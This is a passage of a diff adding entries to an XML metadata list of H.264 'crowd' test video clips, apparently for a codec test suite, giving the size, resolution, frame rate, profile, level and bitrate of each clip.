+    <value>mime=video/avc,size=48766,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=593680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cqp6_mp.mp4">
+    <value>mime=video/avc,size=28103,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=335368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51_mp.mp4">
+    <value>mime=video/avc,size=28667,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=342432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref16_mp.mp4">
+    <value>mime=video/avc,size=457790,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5706472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref1_mp.mp4">
+    <value>mime=video/avc,size=461396,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5751560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref4_mp.mp4">
+    <value>mime=video/avc,size=460091,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_sfast_mp.mp4">
+    <value>mime=video/avc,size=464885,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5795080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_slower_mp.mp4">
+    <value>mime=video/avc,size=461910,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5757968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_slow_mp.mp4">
+    <value>mime=video/avc,size=463546,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5778432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_spatialdirect_mp.mp4">
+    <value>mime=video/avc,size=466977,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5822120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_spsppsid1_mp.mp4">
+    <value>mime=video/avc,size=460055,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_spsppsid31_mp.mp4">
+    <value>mime=video/avc,size=460090,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_temporaldirect_mp.mp4">
+    <value>mime=video/avc,size=466195,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5812360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_tff_mp.mp4">
+    <value>mime=video/avc,size=470027,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5859432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_ufast_mp.mp4">
+    <value>mime=video/avc,size=1202579,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=15020112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_vfast_mp.mp4">
+    <value>mime=video/avc,size=421814,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5256800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_vslow_mp.mp4">
+    <value>mime=video/avc,size=445203,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5549112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_wtpredp1_mp.mp4">
+    <value>mime=video/avc,size=460786,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5743920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_wtpredp2_mp.mp4">
+    <value>mime=video/avc,size=460055,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1024x1024p50f32_4100kbps_mp.mp4">
+    <value>mime=video/avc,size=363855,width=1024,height=1024,frame-rate=50,profile=2,level=1024,bitrate=4532312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1024x576p50f32_2300kbps_mp.mp4">
+    <value>mime=video/avc,size=192017,width=1024,height=576,frame-rate=50,profile=2,level=1024,bitrate=2384336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1024x768p50f32_3100kbps_mp.mp4">
+    <value>mime=video/avc,size=267740,width=1024,height=768,frame-rate=50,profile=2,level=1024,bitrate=3330872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1080x1440p50f32_6200kbps_mp.mp4">
+    <value>mime=video/avc,size=576906,width=1080,height=1440,frame-rate=50,profile=2,level=8192,bitrate=7195432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1080x16p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=13267,width=1080,height=16,frame-rate=50,profile=2,level=64,bitrate=151568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1080x1920p50f32_8200kbps_mp.mp4">
+    <value>mime=video/avc,size=781678,width=1080,height=1920,frame-rate=50,profile=2,level=8192,bitrate=9755080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1080x64p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=13654,width=1080,height=64,frame-rate=50,profile=2,level=64,bitrate=155096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1088x1920p50f32_8300kbps_mp.mp4">
+    <value>mime=video/avc,size=791058,width=1088,height=1920,frame-rate=50,profile=2,level=8192,bitrate=9872344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1152x2048p50f32_9400kbps_mp.mp4">
+    <value>mime=video/avc,size=921246,width=1152,height=2048,frame-rate=50,profile=2,level=16384,bitrate=11499712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1280x1280p50f32_6500kbps_mp.mp4">
+    <value>mime=video/avc,size=575964,width=1280,height=1280,frame-rate=50,profile=2,level=8192,bitrate=7183672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1280x16p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12756,width=1280,height=16,frame-rate=50,profile=2,level=128,bitrate=145096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1280x1920p50f32_9800kbps_mp.mp4">
+    <value>mime=video/avc,size=967113,width=1280,height=1920,frame-rate=50,profile=2,level=16384,bitrate=12073032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1280x64p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19647,width=1280,height=64,frame-rate=50,profile=2,level=128,bitrate=230120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1280x720p50f32_3600kbps_mp.mp4">
+    <value>mime=video/avc,size=319856,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3982320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1280x960p50f32_4900kbps_mp.mp4">
+    <value>mime=video/avc,size=446270,width=1280,height=960,frame-rate=50,profile=2,level=2048,bitrate=5562496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_128x128p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12097,width=128,height=128,frame-rate=50,profile=2,level=16,bitrate=135560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_128x192p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12424,width=128,height=192,frame-rate=50,profile=2,level=16,bitrate=139648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_128x72p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12180,width=128,height=72,frame-rate=50,profile=2,level=16,bitrate=137200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_128x96p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12333,width=128,height=96,frame-rate=50,profile=2,level=16,bitrate=139320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1440x1080p50f32_6200kbps_mp.mp4">
+    <value>mime=video/avc,size=587354,width=1440,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7326032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1440x1440p50f32_8200kbps_mp.mp4">
+    <value>mime=video/avc,size=771165,width=1440,height=1440,frame-rate=50,profile=2,level=8192,bitrate=9623680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1440x1920p50f32_11000kbps_mp.mp4">
+    <value>mime=video/avc,size=1116520,width=1440,height=1920,frame-rate=50,profile=2,level=16384,bitrate=13940624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1440x2560p50f32_14700kbps_mp.mp4">
+    <value>mime=video/avc,size=1332711,width=1440,height=2560,frame-rate=50,profile=2,level=32768,bitrate=16643024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1440x960p50f32_5500kbps_mp.mp4">
+    <value>mime=video/avc,size=512376,width=1440,height=960,frame-rate=50,profile=2,level=8192,bitrate=6388824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_144x144p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11994,width=144,height=144,frame-rate=50,profile=2,level=16,bitrate=134672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_144x176p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12433,width=144,height=176,frame-rate=50,profile=2,level=16,bitrate=139856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_144x192p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12328,width=144,height=192,frame-rate=50,profile=2,level=16,bitrate=138648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_144x256p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12710,width=144,height=256,frame-rate=50,profile=2,level=16,bitrate=143512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_144x96p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12152,width=144,height=96,frame-rate=50,profile=2,level=16,bitrate=137056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1536x2048p50f32_12500kbps_mp.mp4">
+    <value>mime=video/avc,size=1314463,width=1536,height=2048,frame-rate=50,profile=2,level=32768,bitrate=16414920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_160x240p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12753,width=160,height=240,frame-rate=50,profile=2,level=16,bitrate=143960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_16x1080p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12347,width=16,height=1080,frame-rate=50,profile=2,level=64,bitrate=138768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_16x1280p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11999,width=16,height=1280,frame-rate=50,profile=2,level=128,bitrate=134136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_16x16p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=5415,width=16,height=16,frame-rate=50,profile=2,level=16,bitrate=54544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_16x1920p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12509,width=16,height=1920,frame-rate=50,profile=2,level=512,bitrate=140512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_16x720p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12456,width=16,height=720,frame-rate=50,profile=2,level=16,bitrate=140656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_176x144p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12174,width=176,height=144,frame-rate=50,profile=2,level=16,bitrate=136824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_176x176p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12523,width=176,height=176,frame-rate=50,profile=2,level=16,bitrate=140984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_176x96p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12373,width=176,height=96,frame-rate=50,profile=2,level=16,bitrate=140120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x1080p50f32_8200kbps_mp.mp4">
+    <value>mime=video/avc,size=821387,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=10251448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x1088p50f32_8300kbps_mp.mp4">
+    <value>mime=video/avc,size=829236,width=1920,height=1088,frame-rate=50,profile=2,level=8192,bitrate=10349568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x1280p50f32_9800kbps_mp.mp4">
+    <value>mime=video/avc,size=966717,width=1920,height=1280,frame-rate=50,profile=2,level=16384,bitrate=12068080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x1440p50f32_11000kbps_mp.mp4">
+    <value>mime=video/avc,size=1118068,width=1920,height=1440,frame-rate=50,profile=2,level=16384,bitrate=13959968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x16p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12206,width=1920,height=16,frame-rate=50,profile=2,level=512,bitrate=136824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x1920p50f32_14700kbps_mp.mp4">
+    <value>mime=video/avc,size=1622176,width=1920,height=1920,frame-rate=50,profile=2,level=32768,bitrate=20261320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x2560p50f32_19600kbps_mp.mp4">
+    <value>mime=video/avc,size=1880535,width=1920,height=2560,frame-rate=50,profile=2,level=32768,bitrate=23490824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_1920x64p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=24539,width=1920,height=64,frame-rate=50,profile=2,level=512,bitrate=290872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_192x128p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12219,width=192,height=128,frame-rate=50,profile=2,level=16,bitrate=137280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_192x144p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12593,width=192,height=144,frame-rate=50,profile=2,level=16,bitrate=143256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_192x192p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12501,width=192,height=192,frame-rate=50,profile=2,level=16,bitrate=140408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_192x256p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12863,width=192,height=256,frame-rate=50,profile=2,level=16,bitrate=145320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_192x288p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12650,width=192,height=288,frame-rate=50,profile=2,level=16,bitrate=142456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2048x1152p50f32_9400kbps_mp.mp4">
+    <value>mime=video/avc,size=917154,width=2048,height=1152,frame-rate=50,profile=2,level=16384,bitrate=11448560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2048x1536p50f32_12500kbps_mp.mp4">
+    <value>mime=video/avc,size=1318134,width=2048,height=1536,frame-rate=50,profile=2,level=32768,bitrate=16460808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2048x2048p50f32_16700kbps_mp.mp4">
+    <value>mime=video/avc,size=1919146,width=2048,height=2048,frame-rate=50,profile=2,level=32768,bitrate=23973448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2160x3840p50f32_24000kbps_mp.mp4">
+    <value>mime=video/avc,size=2688752,width=2160,height=3840,frame-rate=50,profile=2,level=65536,bitrate=33593520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_216x288p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12847,width=216,height=288,frame-rate=50,profile=2,level=64,bitrate=145312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2304x4096p50f32_24000kbps_mp.mp4">
+    <value>mime=video/avc,size=2777432,width=2304,height=4096,frame-rate=50,profile=2,level=65536,bitrate=34702008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_240x160p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12596,width=240,height=160,frame-rate=50,profile=2,level=16,bitrate=141696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_240x240p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12790,width=240,height=240,frame-rate=50,profile=2,level=16,bitrate=144424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_240x320p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19720,width=240,height=320,frame-rate=50,profile=2,level=64,bitrate=230832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_240x360p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19801,width=240,height=360,frame-rate=50,profile=2,level=64,bitrate=231736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_24x32p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=8294,width=24,height=32,frame-rate=50,profile=2,level=16,bitrate=89520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2560x1440p50f32_14700kbps_mp.mp4">
+    <value>mime=video/avc,size=1635825,width=2560,height=1440,frame-rate=50,profile=2,level=32768,bitrate=20431944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2560x1920p50f32_19600kbps_mp.mp4">
+    <value>mime=video/avc,size=2385131,width=2560,height=1920,frame-rate=50,profile=2,level=32768,bitrate=29798272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2560x2560p50f32_24000kbps_mp.mp4">
+    <value>mime=video/avc,size=2487077,width=2560,height=2560,frame-rate=50,profile=2,level=65536,bitrate=31072584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_2560x3840p50f32_24000kbps_mp.mp4">
+    <value>mime=video/avc,size=2796926,width=2560,height=3840,frame-rate=50,profile=2,level=65536,bitrate=34945696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_256x144p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12529,width=256,height=144,frame-rate=50,profile=2,level=16,bitrate=140744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_256x192p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12550,width=256,height=192,frame-rate=50,profile=2,level=16,bitrate=141312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_256x256p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12620,width=256,height=256,frame-rate=50,profile=2,level=64,bitrate=142384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_264x352p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19625,width=264,height=352,frame-rate=50,profile=2,level=64,bitrate=229536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_288x192p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12507,width=288,height=192,frame-rate=50,profile=2,level=16,bitrate=140672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_288x216p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12750,width=288,height=216,frame-rate=50,profile=2,level=64,bitrate=144096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_288x288p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19640,width=288,height=288,frame-rate=50,profile=2,level=64,bitrate=230232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_288x352p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=26931,width=288,height=352,frame-rate=50,profile=2,level=64,bitrate=321072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_288x512p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=34424,width=288,height=512,frame-rate=50,profile=2,level=256,bitrate=414544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_320x240p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19675,width=320,height=240,frame-rate=50,profile=2,level=64,bitrate=230272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_320x320p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=27750,width=320,height=320,frame-rate=50,profile=2,level=128,bitrate=331808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_320x480p50f32_600kbps_mp.mp4">
+    <value>mime=video/avc,size=41960,width=320,height=480,frame-rate=50,profile=2,level=256,bitrate=508832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_32x24p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=8516,width=32,height=24,frame-rate=50,profile=2,level=16,bitrate=94344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_32x32p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=8846,width=32,height=32,frame-rate=50,profile=2,level=16,bitrate=98480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_350x350p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=27103,width=350,height=350,frame-rate=50,profile=2,level=256,bitrate=323208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_352x264p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19489,width=352,height=264,frame-rate=50,profile=2,level=64,bitrate=228432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_352x288p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=26852,width=352,height=288,frame-rate=50,profile=2,level=64,bitrate=320680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_352x352p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=27834,width=352,height=352,frame-rate=50,profile=2,level=256,bitrate=332560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_356x638p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65821,width=356,height=638,frame-rate=50,profile=2,level=512,bitrate=806880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_356x640p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65603,width=356,height=640,frame-rate=50,profile=2,level=512,bitrate=804168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_358x636p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=66079,width=358,height=636,frame-rate=50,profile=2,level=512,bitrate=810112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_358x640p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65639,width=358,height=640,frame-rate=50,profile=2,level=512,bitrate=804624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_360x240p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=19755,width=360,height=240,frame-rate=50,profile=2,level=64,bitrate=231560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_360x360p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=35162,width=360,height=360,frame-rate=50,profile=2,level=256,bitrate=423944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_360x480p50f32_600kbps_mp.mp4">
+    <value>mime=video/avc,size=42406,width=360,height=480,frame-rate=50,profile=2,level=256,bitrate=514296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_360x636p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65805,width=360,height=636,frame-rate=50,profile=2,level=512,bitrate=806680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_360x638p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65726,width=360,height=638,frame-rate=50,profile=2,level=512,bitrate=805696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_360x640p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65865,width=360,height=640,frame-rate=50,profile=2,level=512,bitrate=807448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_3840x2560p50f32_24000kbps_mp.mp4">
+    <value>mime=video/avc,size=2739865,width=3840,height=2560,frame-rate=50,profile=2,level=65536,bitrate=34232432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_384x512p50f32_700kbps_mp.mp4">
+    <value>mime=video/avc,size=50438,width=384,height=512,frame-rate=50,profile=2,level=256,bitrate=614720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_4096x2304p50f32_24000kbps_mp.mp4">
+    <value>mime=video/avc,size=2713484,width=4096,height=2304,frame-rate=50,profile=2,level=65536,bitrate=33902656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_472x472p50f32_800kbps_mp.mp4">
+    <value>mime=video/avc,size=58830,width=472,height=472,frame-rate=50,profile=2,level=512,bitrate=719800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_480x320p50f32_600kbps_mp.mp4">
+    <value>mime=video/avc,size=42865,width=480,height=320,frame-rate=50,profile=2,level=256,bitrate=520344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_480x360p50f32_600kbps_mp.mp4">
+    <value>mime=video/avc,size=42938,width=480,height=360,frame-rate=50,profile=2,level=256,bitrate=521144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_480x480p50f32_900kbps_mp.mp4">
